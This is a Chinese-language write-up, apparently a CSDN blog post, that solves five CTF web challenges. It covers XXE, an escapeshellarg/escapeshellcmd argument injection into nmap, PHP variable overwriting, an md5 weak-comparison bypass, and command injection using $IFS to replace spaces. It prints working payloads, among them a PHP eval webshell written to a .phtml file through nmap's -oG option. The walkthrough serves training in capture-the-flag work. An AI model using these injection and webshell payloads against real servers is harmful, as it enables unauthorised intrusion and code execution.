目录
[NCTF2019]Fake XML cookbook
[BUUCTF 2018]Online Tool
[BJDCTF2020]Mark loves cat
[WUSTCTF2020]朴实无华
[网鼎杯 2020 朱雀组]Nmap
[NCTF2019]Fake XML cookbook
题目提示xml,打开网址发现是一个登录框,首先想到的是sql,但是loadXML()函数没有报错返回值,又想到了xxe,尝试一下,flag的位置是一个一个猜测并尝试出来的。
Payload: POST ]>&admin; admin
[BUUCTF 2018]Online Tool
发现代码:
函数escapeshellarg和escapeshellarg没见过,搜一下看看。
在看了几个分析后理解了一下。
分析:
1.当escapeshellarg和escapeshellarg同时出现时,存在转义漏洞。
2.当经过escapeshellarg处理时会先对单引号进行转义(在单引号前加一个),然后再用单引号包裹住左右两部分,使其内容连接。
3.再经过escapeshellcmd处理,会对以及最后那个不配对儿的引号进行了转义。
例如:172.17.0.2' -v -d a=1 –> '172.17.0.2''' -v -d a=1' -> '172.17.0.2'\'' -v -d a=1'
利用namp中的-oG将一句话木马写入文件中。
Payload:
?host=' -oG feng.php '蚁剑连接(注意路径和文件名称)
然后在根目录下找到flag。
[BJDCTF2020]Mark loves cat
网站中没有提示。
扫一下目录发现git泄露。
在github上得到源码(githack一直出不来):
Index.php
$y){ $$x = $y; } foreach($_GET as $x => $y){ $$x = $$y; } foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ exit($handsome); } } if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($is); } echo "the flag is: ".$flag;代码很简单,很明显的变量覆盖。
解法一:
利用GET将$yds用$flag覆盖。
Payload:
?yds=flag这个利用了:
foreach($_GET as $x => $y){ $$x = $$y; } if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds); }$yds=$flag,相当于$yds的值被$flag的值覆盖了。
解法二:
利用
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($is); }条件是POST或者GET必须有一个flag=flag。
但因为POST如果传入flag=flag的话,$flag中的值就会被flag覆盖。
Payload:
?is=flag&&flag=flag解法三:
利用
foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ exit($handsome); }条件,首先我们需要让$handsome的值被$flag覆盖,然后第二个GET的等号左边的内容与GET的flag的值一样,且第二个GET的等号右边不能是flag。
Payload:
?handsome=flag&&a=1&&flag=a解法四(这个没想到,在网上学的):
利用
echo "the flag is: ".$flag;
得到flag,必须绕过前边所有的if,利用了强等号判断参数类别的特点。
Payload:
?1=flag&&flag=1[WUSTCTF2020]朴实无华
扫一下发现存在robots.txt文件。
访问。
在响应头中发现/fl4g.php。
存在乱码,利用火狐自带的恢复编码试一下,得到代码。
源码如下:
2021){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好."; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴."; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥."; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } ?>需要绕过三个if条件。
第一层:
intval($num) < 2020 && intval($num + 1) > 2021
当num等于2e4时,利用PHP弱类型绕过2020,利用intval绕过2021。
第二层:
md5若碰撞让其的md5值等于本身,这个我直接写过专门讲md5碰撞的文章。
利用0e215962017的md5值和自身相等。
所以用md5= 0e215962017可以绕过。
第三层:
就是相当于命令执行,首先ls一下。
空格可以用<、$IFS$1、${IFS}、$IFS$9等等代替。
Payload:
?num=2e5&&md5=0e215962017&&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
得到flag。
[网鼎杯 2020 朱雀组]Nmap
考察nmap的使用。
选项 解释 -oN 标准保存 -oX XML保存 -oG Grep保存 -oA 保存到所有格式 -append-output 补充保存文件 尝试看能不能利用-oA来保存php文件。
利用空格和单引号绕过函数处理。(具体不太理解)
发现php好像被过滤。
可以传入phtml文件。
Payload:
' = @eval($_POST[feng]); ?> -oG feng.phtml '
暑期编程PK赛 得CSDN机械键盘等精美礼品!



